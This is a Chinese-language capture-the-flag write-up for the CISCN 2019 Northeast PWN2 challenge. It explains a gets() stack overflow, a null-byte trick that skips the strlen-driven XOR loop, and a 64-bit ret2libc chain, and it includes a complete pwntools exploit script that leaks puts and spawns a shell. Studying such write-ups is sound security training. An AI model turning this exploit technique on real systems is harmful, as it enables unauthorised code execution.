悄悄话:
以前刚学的时候写ret2libc题目的wp,有一大堆话,现在居然不知道讲什么了,应该是我成长了,嘿嘿嘿
[CISCN 2019东北]PWN2

准备


64位,开了 NX

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __fastcall main(int argc, const char **argv, const char **envp)
{
int n2; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
n2 = 0;
__isoc99_scanf("%d", &n2);
getchar();
if ( n2 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( n2 == 3 )
{
puts("Bye!");
return 0;
}
if ( n2 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

开头先有一个 begin 函数

begin函数

1
2
3
4
5
6
7
8
int begin()
{
puts("====================================================================");
puts("1.Encrypt");
puts("2.Decrypt");
puts("3.Exit");
return puts("Input your choice!");
}

选项提示语
结合 main 下面内容
选择2(解密)没什么用
选择1(加密),有一个 encrypt 函数

encrypt函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t x; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
x = (unsigned int)x;
if ( x >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xCu;
}
else
{
s[x] ^= 0xDu;
}
}
else
{
s[x] ^= 0xEu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

开头先是一个 gets 函数读取输入,存在缓冲区溢出
下面通过 strlen 函数获取字符串长度,并用 x 作为循环计数器,当 x 大于等于长度时会退出循环
最后用 puts 函数输出加密后的数据

思路:

这题只有溢出点,没有连接点和其他信息,所以打64位的 ret2libc ,但输入后会有一个加密操作,这里我们可以使用 strlen 函数进行绕过


知识点:
strlen 函数
头文件:
#include <string.h>
原型:
size_t strlen(const char *str)
参数:
str – 要计算长度的字符串。
返回值:
该函数返回字符串的长度。
size_t 类型(无符号整数))
功能:
计算字符串 str 的有效长度(即从起始地址到第一个空字符 '\0' 之间的字符数,不包含 '\0' 本身)
原理:
strlen 从指针 str 开始逐字节向后扫描,直到遇到第一个 '\0' 为止。
注意:
如果字符串没有 '\0'strlen 会继续扫描内存直到遇到随机的 '\0',导致未定义行为(如程序崩溃或返回错误值)。


在输入的开头先给一个 '\x00' 来利用 strlen 函数进行绕过,使得我们的数据在最后直接输出
通过 ida 获取偏移量

偏移量为0x50+8(88),因为这里绕过,要在开头加一个 '\x00' ,所以这里填充是0x57(87)
因为64位传参需要寄存器,且要考虑堆栈平衡的问题,所以通过 ROPgadget 指令进行查看
(我这里是用 puts 函数打 ret2libc ,所以只用一个 rdi 寄存器)

最后就是正常的打 ret2libc 流程
先获取 puts 函数地址,通过这个地址得到 libc 基址,然后就有了 system/bin/sh ,最后直接连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400B28
rdi=0x400c83
ret=0x4006b9

io.recvuntil(b'Input your choice!\n')
io.sendline(b'1')
io.recvuntil(b'Input your Plaintext to be encrypted\n')
payload=b'\x00'+b'a'*0x57+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)

io.recvuntil(b'Ciphertext\n')
puts_addr=u64(io.recv(7)[-6:].ljust(8,b'\x00'))
log.success("puts_addr :"+hex(puts_addr))
# gdb.attach(io)
libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

io.recvuntil(b'Input your choice!\n')
io.sendline(b'1')
io.recvuntil(b'Input your Plaintext to be encrypted\n')
payload=b'\x00'+b'a'*0x57+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendline(payload)

脚本

(远程 libc 文件:libc6_2.27-0ubuntu2_amd64)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *
context(arch='amd64',log_level='debug')
io=remote('node5.anna.nssctf.cn',27966)
# io= process('/home/motaly/dbpwn2')
elf=ELF('/home/motaly/dbpwn2')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x400B28
rdi=0x400c83
ret=0x4006b9

io.recvuntil(b'Input your choice!\n')
io.sendline(b'1')
io.recvuntil(b'Input your Plaintext to be encrypted\n')
payload=b'\x00'+b'a'*0x57+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)

io.recvuntil(b'Ciphertext\n')
puts_addr=u64(io.recv(7)[-6:].ljust(8,b'\x00'))
log.success("puts_addr :"+hex(puts_addr))
# gdb.attach(io)
libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

io.recvuntil(b'Input your choice!\n')
io.sendline(b'1')
io.recvuntil(b'Input your Plaintext to be encrypted\n')
payload=b'\x00'+b'a'*0x57+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendline(payload)
io.interactive()